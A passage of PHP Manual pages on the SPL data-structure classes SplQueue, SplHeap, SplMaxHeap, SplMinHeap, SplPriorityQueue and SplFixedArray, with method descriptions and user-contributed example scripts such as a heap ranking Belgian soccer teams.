void SplDoublyLinkedList::next ( void )
bool SplDoublyLinkedList::offsetExists ( mixed $index )
mixed SplDoublyLinkedList::offsetGet ( mixed $index )
void SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )
void SplDoublyLinkedList::offsetUnset ( mixed $index )
mixed SplDoublyLinkedList::pop ( void )
void SplDoublyLinkedList::prev ( void )
void SplDoublyLinkedList::push ( mixed $value )
void SplDoublyLinkedList::rewind ( void )
void SplDoublyLinkedList::setIteratorMode ( int $mode )
mixed SplDoublyLinkedList::shift ( void )
mixed SplDoublyLinkedList::top ( void )
void SplDoublyLinkedList::unshift ( mixed $value )
bool SplDoublyLinkedList::valid ( void )
}

Table of Contents

  • SplQueue::__construct — Constructs a new queue implemented using a doubly linked list
  • SplQueue::dequeue — Dequeues a node from the queue
  • SplQueue::enqueue — Adds an element to the queue.
  • SplQueue::setIteratorMode — Sets the mode of iteration

User Contributed Notes

There are no user contributed notes for this page.
SplStack::setIteratorMode
SplQueue::__construct
Datastructures


Constructs a new queue implemented using a doubly linked list

SplQueue
SplQueue::dequeue
SplQueue
PHP Manual

SplQueue::__construct

(PHP 5 >= 5.3.0)

SplQueue::__construct — Constructs a new queue implemented using a doubly linked list

Description

SplQueue::__construct() ( void )

This constructs a new empty queue.

Note:

This method automatically sets the iterator mode to SplDoublyLinkedList::IT_MODE_FIFO.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplQueue::__construct() example

<?php
$q = new SplQueue();

$q[] = 1;
$q[] = 2;
$q[] = 3;

foreach ($q as $elem)  {
 echo $elem."\n";
}
?>

The above example will output:

1
2
3

Example #2 Efficiently handling tasks with SplQueue

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

// ... enqueue some tasks on the queue ...

// process them
foreach ($q as $task) {
    // ... process $task ...

    // add new tasks on the queue
    $q[] = $newTask;
    // ...
}
?>

User Contributed Notes

There are no user contributed notes for this page.
SplQueue
SplQueue::dequeue
SplQueue


Dequeues a node from the queue

SplQueue::__construct
SplQueue::enqueue
SplQueue
PHP Manual

SplQueue::dequeue

(PHP 5 >= 5.3.0)

SplQueue::dequeue — Dequeues a node from the queue

Description

mixed SplQueue::dequeue ( void )

Dequeues value from the top of the queue.

Note:

SplQueue::dequeue() is an alias of SplDoublyLinkedList::shift().

Parameters

This function has no parameters.

Return Values

The value of the dequeued node.

User Contributed Notes

andresdzphp at php dot net 30-Sep-2011 11:10
<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);
$q->enqueue('item 1');
$q->enqueue('item 2');
$q->enqueue('item 3');

$q->dequeue();
$q->dequeue();

foreach ($q as $item) {
    echo $item;
}

//Result: item 3

$q->dequeue(); //Fatal error: Uncaught exception 'RuntimeException'
              //with message 'Can't shift from an empty datastructure'
?>
xuecan at gmail dot com 20-Jan-2010 08:57
If the queue is empty, dequeue() will raise an 'RuntimeException' with message 'Can't shift from an empty datastructure'.
SplQueue::__construct
SplQueue::enqueue
SplQueue


Adds an element to the queue.

SplQueue::dequeue
SplQueue::setIteratorMode
SplQueue
PHP Manual

SplQueue::enqueue

(PHP 5 >= 5.3.0)

SplQueue::enqueue — Adds an element to the queue.

Description

void SplQueue::enqueue ( mixed $value )

Enqueues value at the end of the queue.

Note:

SplQueue::enqueue() is an alias of SplDoublyLinkedList::push().

Parameters

value

The value to enqueue.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplQueue::dequeue
SplQueue::setIteratorMode
SplQueue


Sets the mode of iteration

SplQueue::enqueue
SplHeap
SplQueue
PHP Manual

SplQueue::setIteratorMode

(PHP 5 >= 5.3.0)

SplQueue::setIteratorMode — Sets the mode of iteration

Description

void SplQueue::setIteratorMode ( int $mode )

Parameters

mode

There is only one iteration parameter you can modify.

  • The behavior of the iterator (either one or the other):
    • SplDoublyLinkedList::IT_MODE_DELETE (Elements are deleted by the iterator)
    • SplDoublyLinkedList::IT_MODE_KEEP (Elements are traversed by the iterator)

The default mode is: SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP

Warning

The direction of iteration can not be changed for SplQueues, it is always SplDoublyLinkedList::IT_MODE_FIFO.

Return Values

No value is returned.

Errors/Exceptions

Throws a RuntimeException on trying to change the direction of iteration by using SplDoublyLinkedList::IT_MODE_LIFO.

User Contributed Notes

There are no user contributed notes for this page.
SplQueue::enqueue
SplHeap
SplQueue


The SplHeap class

(PHP 5 >= 5.3.0)

Introduction

The SplHeap class provides the main functionalities of a Heap.

Class synopsis

abstract SplHeap implements Iterator , Countable {
/* Methods */
__construct ( void )
abstract int compare ( mixed $value1 , mixed $value2 )
int count ( void )
mixed current ( void )
mixed extract ( void )
void insert ( mixed $value )
bool isEmpty ( void )
mixed key ( void )
void next ( void )
void recoverFromCorruption ( void )
void rewind ( void )
mixed top ( void )
bool valid ( void )
}

Table of Contents

  • SplHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.
  • SplHeap::__construct — Constructs a new empty heap
  • SplHeap::count — Counts the number of elements in the heap.
  • SplHeap::current — Return current node pointed by the iterator
  • SplHeap::extract — Extracts a node from top of the heap and sift up.
  • SplHeap::insert — Inserts an element in the heap by sifting it up.
  • SplHeap::isEmpty — Checks whether the heap is empty.
  • SplHeap::key — Return current node index
  • SplHeap::next — Move to the next node
  • SplHeap::recoverFromCorruption — Recover from the corrupted state and allow further actions on the heap.
  • SplHeap::rewind — Rewind iterator back to the start (no-op)
  • SplHeap::top — Peeks at the node from the top of the heap
  • SplHeap::valid — Check whether the heap contains more nodes

User Contributed Notes

Michelangelo van Dam 06-Oct-2009 11:44
To have a good idea what you can do with SplHeap, I created a little example script that will show the rankings of Belgian soccer teams in the Jupiler League.

<?php
/**
 * A class that extends SplHeap for showing rankings in the Belgian
 * soccer tournament JupilerLeague
 */
class JupilerLeague extends SplHeap
{
    /**
     * We modify the abstract method compare so we can sort our
     * rankings using the values of a given array
     */
    public function compare($array1, $array2)
    {
        $values1 = array_values($array1);
        $values2 = array_values($array2);
        if ($values1[0] === $values2[0]) return 0;
        return $values1[0] < $values2[0] ? -1 : 1;
    }
}

// Let's populate our heap here (data of 2009)
$heap = new JupilerLeague();
$heap->insert(array ('AA Gent' => 15));
$heap->insert(array ('Anderlecht' => 20));
$heap->insert(array ('Cercle Brugge' => 11));
$heap->insert(array ('Charleroi' => 12));
$heap->insert(array ('Club Brugge' => 21));
$heap->insert(array ('G. Beerschot' => 15));
$heap->insert(array ('Kortrijk' => 10));
$heap->insert(array ('KV Mechelen' => 18));
$heap->insert(array ('Lokeren' => 10));
$heap->insert(array ('Moeskroen' => 7));
$heap->insert(array ('Racing Genk' => 11));
$heap->insert(array ('Roeselare' => 6));
$heap->insert(array ('Standard' => 20));
$heap->insert(array ('STVV' => 17));
$heap->insert(array ('Westerlo' => 10));
$heap->insert(array ('Zulte Waregem' => 15));

// For displaying the ranking we move up to the first node
$heap->top();

// Then we iterate through each node for displaying the result
while ($heap->valid()) {
  list ($team, $score) = each ($heap->current());
  echo $team . ': ' . $score . PHP_EOL;
  $heap->next();
}
?>

This results in the following output:
Club Brugge: 21
Anderlecht: 20
Standard: 20
KV Mechelen: 18
STVV: 17
Zulte Waregem: 15
AA Gent: 15
G. Beerschot: 15
Charleroi: 12
Racing Genk: 11
Cercle Brugge: 11
Kortrijk: 10
Lokeren: 10
Westerlo: 10
Moeskroen: 7
Roeselare: 6

Hope this example paved the way for more complex implementations of SplHeap.
SplQueue::setIteratorMode
SplHeap::compare
Datastructures


Compare elements in order to place them correctly in the heap while sifting up.

SplHeap
SplHeap::__construct
SplHeap
PHP Manual

SplHeap::compare

(PHP 5 >= 5.3.0)

SplHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

Description

abstract int SplHeap::compare ( mixed $value1 , mixed $value2 )

Compare value1 with value2.

Warning

Throwing exceptions in SplHeap::compare() can corrupt the Heap and place it in a blocked state. You can unblock it by calling SplHeap::recoverFromCorruption(). However, some elements might not be placed correctly and it may hence break the heap-property.

Parameters

value1

The value of the first node being compared.

value2

The value of the second node being compared.

Return Values

Result of the comparison, positive integer if value1 is greater than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap
SplHeap::__construct
SplHeap


Constructs a new empty heap

SplHeap::compare
SplHeap::count
SplHeap
PHP Manual

SplHeap::__construct

(PHP 5 >= 5.3.0)

SplHeap::__construct — Constructs a new empty heap

Description

SplHeap::__construct() ( void )

This constructs a new empty heap.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::compare
SplHeap::count
SplHeap


Counts the number of elements in the heap.

SplHeap::__construct
SplHeap::current
SplHeap
PHP Manual

SplHeap::count

(PHP 5 >= 5.3.0)

SplHeap::count — Counts the number of elements in the heap.

Description

int SplHeap::count ( void )

Parameters

This function has no parameters.

Return Values

Returns the number of elements in the heap.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::__construct
SplHeap::current
SplHeap


Return current node pointed by the iterator

SplHeap::count
SplHeap::extract
SplHeap
PHP Manual

SplHeap::current

(PHP 5 >= 5.3.0)

SplHeap::current — Return current node pointed by the iterator

Description

mixed SplHeap::current ( void )

Get the current datastructure node.

Parameters

This function has no parameters.

Return Values

The current node value.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::count
SplHeap::extract
SplHeap


Extracts a node from top of the heap and sift up.

SplHeap::current
SplHeap::insert
SplHeap
PHP Manual

SplHeap::extract

(PHP 5 >= 5.3.0)

SplHeap::extract — Extracts a node from top of the heap and sift up.

Description

mixed SplHeap::extract ( void )

Parameters

This function has no parameters.

Return Values

The value of the extracted node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::current
SplHeap::insert
SplHeap


Inserts an element in the heap by sifting it up.

SplHeap::extract
SplHeap::isEmpty
SplHeap
PHP Manual

SplHeap::insert

(PHP 5 >= 5.3.0)

SplHeap::insert — Inserts an element in the heap by sifting it up.

Description

void SplHeap::insert ( mixed $value )

Insert value in the heap.

Parameters

value

The value to insert.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::extract
SplHeap::isEmpty
SplHeap


Checks whether the heap is empty.

SplHeap::insert
SplHeap::key
SplHeap
PHP Manual

SplHeap::isEmpty

(PHP 5 >= 5.3.0)

SplHeap::isEmpty — Checks whether the heap is empty.

Description

bool SplHeap::isEmpty ( void )

Parameters

This function has no parameters.

Return Values

Returns whether the heap is empty.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::insert
SplHeap::key
SplHeap


Return current node index

SplHeap::isEmpty
SplHeap::next
SplHeap
PHP Manual

SplHeap::key

(PHP 5 >= 5.3.0)

SplHeap::key — Return current node index

Description

mixed SplHeap::key ( void )

This function returns the current node index

Parameters

This function has no parameters.

Return Values

The current node index.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::isEmpty
SplHeap::next
SplHeap


Move to the next node

SplHeap::key
SplHeap::recoverFromCorruption
SplHeap
PHP Manual

SplHeap::next

(PHP 5 >= 5.3.0)

SplHeap::next — Move to the next node

Description

void SplHeap::next ( void )

Extracts the top node from the heap.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::key
SplHeap::recoverFromCorruption
SplHeap


Recover from the corrupted state and allow further actions on the heap.

SplHeap::next
SplHeap::rewind
SplHeap
PHP Manual

SplHeap::recoverFromCorruption

(PHP 5 >= 5.3.0)

SplHeap::recoverFromCorruption — Recover from the corrupted state and allow further actions on the heap.

Description

void SplHeap::recoverFromCorruption ( void )

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::next
SplHeap::rewind
SplHeap


Rewind iterator back to the start (no-op)

SplHeap::recoverFromCorruption
SplHeap::top
SplHeap
PHP Manual

SplHeap::rewind

(PHP 5 >= 5.3.0)

SplHeap::rewind — Rewind iterator back to the start (no-op)

Description

void SplHeap::rewind ( void )

This rewinds the iterator to the beginning. This is a no-op for heaps as the iterator is virtual and in fact never moves from the top of the heap.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::recoverFromCorruption
SplHeap::top
SplHeap


Peeks at the node from the top of the heap

SplHeap::rewind
SplHeap::valid
SplHeap
PHP Manual

SplHeap::top

(PHP 5 >= 5.3.0)

SplHeap::top — Peeks at the node from the top of the heap

Description

mixed SplHeap::top ( void )

Parameters

This function has no parameters.

Return Values

The value of the node on the top.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::rewind
SplHeap::valid
SplHeap


Check whether the heap contains more nodes

SplHeap::top
SplMaxHeap
SplHeap
PHP Manual

SplHeap::valid

(PHP 5 >= 5.3.0)

SplHeap::valid — Check whether the heap contains more nodes

Description

bool SplHeap::valid ( void )

Checks if the heap contains any more nodes.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the heap contains any more nodes, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
SplHeap::top
SplMaxHeap
SplHeap


The SplMaxHeap class

(PHP 5 >= 5.3.0)

Introduction

The SplMaxHeap class provides the main functionalities of a heap, keeping the maximum on the top.

Class synopsis

SplMaxHeap extends SplHeap implements Iterator , Countable {
/* Methods */
int compare ( mixed $value1 , mixed $value2 )
/* Inherited methods */
abstract int SplHeap::compare ( mixed $value1 , mixed $value2 )
int SplHeap::count ( void )
mixed SplHeap::current ( void )
mixed SplHeap::extract ( void )
void SplHeap::insert ( mixed $value )
bool SplHeap::isEmpty ( void )
mixed SplHeap::key ( void )
void SplHeap::next ( void )
void SplHeap::recoverFromCorruption ( void )
void SplHeap::rewind ( void )
mixed SplHeap::top ( void )
bool SplHeap::valid ( void )
}

Table of Contents

  • SplMaxHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

User Contributed Notes

MuLoT [ojousset49 at yahoo dot fr] 17-Dec-2010 05:50
SplMaxHeap simple example with integer values...

<?php
class MySimpleHeap extends SplMaxHeap
{
    public function  compare( $value1, $value2 ) {
        return ( $value1 - $value2 );
    }
}

$obj = new MySimpleHeap();
$obj->insert( 4 );
$obj->insert( 8 );
$obj->insert( 1 );
$obj->insert( 0 );

foreach( $obj as $number ) {
    echo $number."\n";
}

/*
    Output display :
    8
    4
    1
    0
*/
?>
SplHeap::valid
SplMaxHeap::compare
Datastructures


Compare elements in order to place them correctly in the heap while sifting up.

SplMaxHeap
SplMinHeap
SplMaxHeap
PHP Manual

SplMaxHeap::compare

(PHP 5 >= 5.3.0)

SplMaxHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

Description

int SplMaxHeap::compare ( mixed $value1 , mixed $value2 )

Compare value1 with value2.

Parameters

value1

The value of the first node being compared.

value2

The value of the second node being compared.

Return Values

Result of the comparison, positive integer if value1 is greater than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

sixd at php dot net 21-Dec-2010 12:26
Note the definition of SplMaxHeap::compare() is different from SplMinHeap::compare()
SplMaxHeap
SplMinHeap
SplMaxHeap


The SplMinHeap class

(PHP 5 >= 5.3.0)

Introduction

The SplMinHeap class provides the main functionalities of a heap, keeping the minimum on the top.

Class synopsis

SplMinHeap extends SplHeap implements Iterator , Countable {
/* Methods */
int compare ( mixed $value1 , mixed $value2 )
/* Inherited methods */
abstract int SplHeap::compare ( mixed $value1 , mixed $value2 )
int SplHeap::count ( void )
mixed SplHeap::current ( void )
mixed SplHeap::extract ( void )
void SplHeap::insert ( mixed $value )
bool SplHeap::isEmpty ( void )
mixed SplHeap::key ( void )
void SplHeap::next ( void )
void SplHeap::recoverFromCorruption ( void )
void SplHeap::rewind ( void )
mixed SplHeap::top ( void )
bool SplHeap::valid ( void )
}

Table of Contents

  • SplMinHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

User Contributed Notes

There are no user contributed notes for this page.
SplMaxHeap::compare
SplMinHeap::compare
Datastructures


Compare elements in order to place them correctly in the heap while sifting up.

SplMinHeap
SplPriorityQueue
SplMinHeap
PHP Manual

SplMinHeap::compare

(PHP 5 >= 5.3.0)

SplMinHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

Description

int SplMinHeap::compare ( mixed $value1 , mixed $value2 )

Compare value1 with value2.

Parameters

value1

The value of the first node being compared.

value2

The value of the second node being compared.

Return Values

Result of the comparison, positive integer if value1 is lower than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

sixd at php dot net 21-Dec-2010 12:26
Note the definition of SplMaxHeap::compare() is different from SplMinHeap::compare()
SplMinHeap
SplPriorityQueue
SplMinHeap


The SplPriorityQueue class

(PHP 5 >= 5.3.0)

Introduction

The SplPriorityQueue class provides the main functionalities of an prioritized queue, implemented using a heap.

Class synopsis

SplPriorityQueue implements Iterator , Countable {
/* Methods */
__construct ( void )
int compare ( mixed $priority1 , mixed $priority2 )
int count ( void )
mixed current ( void )
mixed extract ( void )
void insert ( mixed $value , mixed $priority )
bool isEmpty ( void )
mixed key ( void )
void next ( void )
void recoverFromCorruption ( void )
void rewind ( void )
void setExtractFlags ( int $flags )
mixed top ( void )
bool valid ( void )
}

Table of Contents

  • SplPriorityQueue::compare — Compare priorities in order to place elements correctly in the heap while sifting up.
  • SplPriorityQueue::__construct — Constructs a new empty queue
  • SplPriorityQueue::count — Counts the number of elements in the queue.
  • SplPriorityQueue::current — Return current node pointed by the iterator
  • SplPriorityQueue::extract — Extracts a node from top of the heap and sift up.
  • SplPriorityQueue::insert — Inserts an element in the queue by sifting it up.
  • SplPriorityQueue::isEmpty — Checks whether the queue is empty.
  • SplPriorityQueue::key — Return current node index
  • SplPriorityQueue::next — Move to the next node
  • SplPriorityQueue::recoverFromCorruption — Recover from the corrupted state and allow further actions on the queue.
  • SplPriorityQueue::rewind — Rewind iterator back to the start (no-op)
  • SplPriorityQueue::setExtractFlags — Sets the mode of extraction
  • SplPriorityQueue::top — Peeks at the node from the top of the queue
  • SplPriorityQueue::valid — Check whether the queue contains more nodes

User Contributed Notes

Anonymous 13-Jan-2011 07:12
This documentation does not mention whether this is a min-heap or a max-heap.
rajatn at rediff dot co dot in 30-Jul-2010 04:29
quick implementation of SPL Priority Queue:

<?php

class PQtest extends SplPriorityQueue
{
    public function compare($priority1, $priority2)
    {
        if ($priority1 === $priority2) return 0;
        return $priority1 < $priority2 ? -1 : 1;
    }
}

$objPQ = new PQtest();

$objPQ->insert('A',3);
$objPQ->insert('B',6);
$objPQ->insert('C',1);
$objPQ->insert('D',2);

echo "COUNT->".$objPQ->count()."<BR>";

//mode of extraction
$objPQ->setExtractFlags(PQtest::EXTR_BOTH);

//Go to TOP
$objPQ->top();

while($objPQ->valid()){
    print_r($objPQ->current());
    echo "<BR>";
    $objPQ->next();
}

?>

output:

COUNT->4
Array ( [data] => B [priority] => 6 )
Array ( [data] => A [priority] => 3 )
Array ( [data] => D [priority] => 2 )
Array ( [data] => C [priority] => 1 )
SplMinHeap::compare
SplPriorityQueue::compare
Datastructures


Compare priorities in order to place elements correctly in the heap while sifting up.

SplPriorityQueue
SplPriorityQueue::__construct
SplPriorityQueue
PHP Manual

SplPriorityQueue::compare

(PHP 5 >= 5.3.0)

SplPriorityQueue::compare — Compare priorities in order to place elements correctly in the heap while sifting up.

Description

int SplPriorityQueue::compare ( mixed $priority1 , mixed $priority2 )

Compare priority1 with priority2.

Parameters

priority1

The priority of the first node being compared.

priority2

The priority of the second node being compared.

Return Values

Result of the comparison, positive integer if priority1 is greater than priority2, 0 if they are equal, negative integer otherwise.

Note:

Multiple elements with the same priority will get dequeued in no particular order.

User Contributed Notes

Anonymous 10-Oct-2009 04:51
At this time, the documentation sais "Note: Multiple elements with the same priority will get dequeued in no particular order."

If you need elements of equal priority to maintain insertion order, you can use something like:

<?php

class StablePriorityQueue extends SplPriorityQueue {
    protected $serial = PHP_INT_MAX;
    public function insert($value, $priority) {
        parent::insert($value, array($priority, $this->serial--));
    }
}

?>
SplPriorityQueue
SplPriorityQueue::__construct
SplPriorityQueue


Constructs a new empty queue

SplPriorityQueue::compare
SplPriorityQueue::count
SplPriorityQueue
PHP Manual

SplPriorityQueue::__construct

(PHP 5 >= 5.3.0)

SplPriorityQueue::__construct — Constructs a new empty queue

Description

SplPriorityQueue::__construct() ( void )

This constructs a new empty queue.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

Jennifer 22-Mar-2011 12:19
I was trying to extend SplPriorityQueue like this:

<?php
class AdjustablePriorityQueue extends SplPriorityQueue {
    protected $direction='desc';//queue is ordered highest to lowest priority, direction is changeable ONLY on __construct()

    function __construct($direction='desc'){
        parent::__construct(); //Fatal error:  Cannot call constructor
        $this->direction=($direction=='asc') ? 'asc': 'desc';
    }

    function compare($priority1,$priority2){
        if($this->direction=='asc') return parent::compare($priority2, $priority1);
        return parent::compare($priority1,$priority2);
    }
}
?>

calling `parent::__construct()` gives a fatal error " Cannot call constructor".  If I leave out that call, everything works fine.  This suggests that SplPriorityQueue does not actually have a `__construct()` method.
SplPriorityQueue::compare
SplPriorityQueue::count
SplPriorityQueue


Counts the number of elements in the queue.

SplPriorityQueue::__construct
SplPriorityQueue::current
SplPriorityQueue
PHP Manual

SplPriorityQueue::count

(PHP 5 >= 5.3.0)

SplPriorityQueue::count — Counts the number of elements in the queue.

Description

int SplPriorityQueue::count ( void )

Parameters

This function has no parameters.

Return Values

Returns the number of elements in the queue.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::__construct
SplPriorityQueue::current
SplPriorityQueue


Return current node pointed by the iterator

SplPriorityQueue::count
SplPriorityQueue::extract
SplPriorityQueue
PHP Manual

SplPriorityQueue::current

(PHP 5 >= 5.3.0)

SplPriorityQueue::current — Return current node pointed by the iterator

Description

mixed SplPriorityQueue::current ( void )

Get the current datastructure node.

Parameters

This function has no parameters.

Return Values

The value or priority (or both) of the current node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::count
SplPriorityQueue::extract
SplPriorityQueue


Extracts a node from top of the heap and sift up.

SplPriorityQueue::current
SplPriorityQueue::insert
SplPriorityQueue
PHP Manual

SplPriorityQueue::extract

(PHP 5 >= 5.3.0)

SplPriorityQueue::extract — Extracts a node from top of the heap and sift up.

Description

mixed SplPriorityQueue::extract ( void )

Parameters

This function has no parameters.

Return Values

The value or priority (or both) of the extracted node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::current
SplPriorityQueue::insert
SplPriorityQueue


Inserts an element in the queue by sifting it up.

SplPriorityQueue::extract
SplPriorityQueue::isEmpty
SplPriorityQueue
PHP Manual

SplPriorityQueue::insert

(PHP 5 >= 5.3.0)

SplPriorityQueue::insert — Inserts an element in the queue by sifting it up.

Description

void SplPriorityQueue::insert ( mixed $value , mixed $priority )

Insert value with the priority priority in the queue.

Parameters

value

The value to insert.

priority

The associated priority.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::extract
SplPriorityQueue::isEmpty
SplPriorityQueue


Checks whether the queue is empty.

SplPriorityQueue::insert
SplPriorityQueue::key
SplPriorityQueue
PHP Manual

SplPriorityQueue::isEmpty

(PHP 5 >= 5.3.0)

SplPriorityQueue::isEmpty — Checks whether the queue is empty.

Description

bool SplPriorityQueue::isEmpty ( void )

Parameters

This function has no parameters.

Return Values

Returns whether the queue is empty.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::insert
SplPriorityQueue::key
SplPriorityQueue


Return current node index

SplPriorityQueue::isEmpty
SplPriorityQueue::next
SplPriorityQueue
PHP Manual

SplPriorityQueue::key

(PHP 5 >= 5.3.0)

SplPriorityQueue::key — Return current node index

Description

mixed SplPriorityQueue::key ( void )

This function returns the current node index

Parameters

This function has no parameters.

Return Values

The current node index.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::isEmpty
SplPriorityQueue::next
SplPriorityQueue


Move to the next node

SplPriorityQueue::key
SplPriorityQueue::recoverFromCorruption
SplPriorityQueue
PHP Manual

SplPriorityQueue::next

(PHP 5 >= 5.3.0)

SplPriorityQueue::next — Move to the next node

Description

void SplPriorityQueue::next ( void )

Extracts the top node from the queue.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::key
SplPriorityQueue::recoverFromCorruption
SplPriorityQueue


Recover from the corrupted state and allow further actions on the queue.

SplPriorityQueue::next
SplPriorityQueue::rewind
SplPriorityQueue
PHP Manual

SplPriorityQueue::recoverFromCorruption

(PHP 5 >= 5.3.0)

SplPriorityQueue::recoverFromCorruption — Recover from the corrupted state and allow further actions on the queue.

Description

void SplPriorityQueue::recoverFromCorruption ( void )

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::next
SplPriorityQueue::rewind
SplPriorityQueue


Rewind iterator back to the start (no-op)

SplPriorityQueue::recoverFromCorruption
SplPriorityQueue::setExtractFlags
SplPriorityQueue
PHP Manual

SplPriorityQueue::rewind

(PHP 5 >= 5.3.0)

SplPriorityQueue::rewind — Rewind iterator back to the start (no-op)

Description

void SplPriorityQueue::rewind ( void )

This rewinds the iterator to the beginning. This is a no-op for heaps as the iterator is virtual and in fact never moves from the top of the heap.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::recoverFromCorruption
SplPriorityQueue::setExtractFlags
SplPriorityQueue


Sets the mode of extraction

SplPriorityQueue::rewind
SplPriorityQueue::top
SplPriorityQueue
PHP Manual

SplPriorityQueue::setExtractFlags

(PHP 5 >= 5.3.0)

SplPriorityQueue::setExtractFlags — Sets the mode of extraction

Description

void SplPriorityQueue::setExtractFlags ( int $flags )

Parameters

flags

Defines what is extracted by  SplPriorityQueue::current(),
 SplPriorityQueue::top() and
 SplPriorityQueue::extract().

  • SplPriorityQueue::EXTR_DATA (0x00000001): Extract the data
  • SplPriorityQueue::EXTR_PRIORITY (0x00000002): Extract the priority
  • SplPriorityQueue::EXTR_BOTH (0x00000003): Extract an array containing both

The default mode is SplPriorityQueue::EXTR_DATA.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::rewind
SplPriorityQueue::top
SplPriorityQueue


Peeks at the node from the top of the queue

SplPriorityQueue::setExtractFlags
SplPriorityQueue::valid
SplPriorityQueue
PHP Manual

SplPriorityQueue::top

(PHP 5 >= 5.3.0)

SplPriorityQueue::top — Peeks at the node from the top of the queue

Description

mixed SplPriorityQueue::top ( void )

Parameters

This function has no parameters.

Return Values

The value or priority (or both) of the top node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::setExtractFlags
SplPriorityQueue::valid
SplPriorityQueue


Check whether the queue contains more nodes

SplPriorityQueue::top
SplFixedArray
SplPriorityQueue
PHP Manual

SplPriorityQueue::valid

(PHP 5 >= 5.3.0)

SplPriorityQueue::valid — Check whether the queue contains more nodes

Description

bool SplPriorityQueue::valid ( void )

Checks if the queue contains any more nodes.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the queue contains any more nodes, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
SplPriorityQueue::top
SplFixedArray
SplPriorityQueue


The SplFixedArray class

(PHP 5 >= 5.3.0)

Introduction

The SplFixedArray class provides the main functionalities of array. The main differences between a SplFixedArray and a normal PHP array is that the SplFixedArray is of fixed length and allows only integers within the range as indexes. The advantage is that it allows a faster array implementation.

Class synopsis

SplFixedArray implements Iterator , ArrayAccess , Countable {
/* Methods */
public __construct ([ int $size = 0 ] )
public int count ( void )
public mixed current ( void )
public static SplFixedArray fromArray ( array $array [, bool $save_indexes = true ] )
public int getSize ( void )
public int key ( void )
public void next ( void )
public bool offsetExists ( int $index )
public mixed offsetGet ( int $index )
public void offsetSet ( int $index , mixed $newval )
public void offsetUnset ( int $index )
public void rewind ( void )
public int setSize ( int $size )
public array toArray ( void )
public bool valid ( void )
}

Examples

Example #1 SplFixedArray usage example

<?php
// Initialize the array with a fixed length
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

var_dump($array[0]); // NULL
var_dump($array[1]); // int(2)

var_dump($array["4"]); // string(3) "foo"

// Increase the size of the array to 10
$array->setSize(10);

$array[9] = "asdf";

// Shrink the array to a size of 2
$array->setSize(2);

// The following lines throw a RuntimeException: Index invalid or out of range
try {
    var_dump($array["non-numeric"]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
    var_dump($array[-1]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
    var_dump($array[5]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}
?>

The above example will output:

NULL
int(2)
string(3) "foo"
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range

Table of Contents

  • SplFixedArray::__construct — Constructs a new fixed array
  • SplFixedArray::count — Returns the size of the array
  • SplFixedArray::current — Return current array entry
  • SplFixedArray::fromArray — Import a PHP array in a SplFixedArray instance
  • SplFixedArray::getSize — Gets the size of the array
  • SplFixedArray::key — Return current array index
  • SplFixedArray::next — Move to next entry
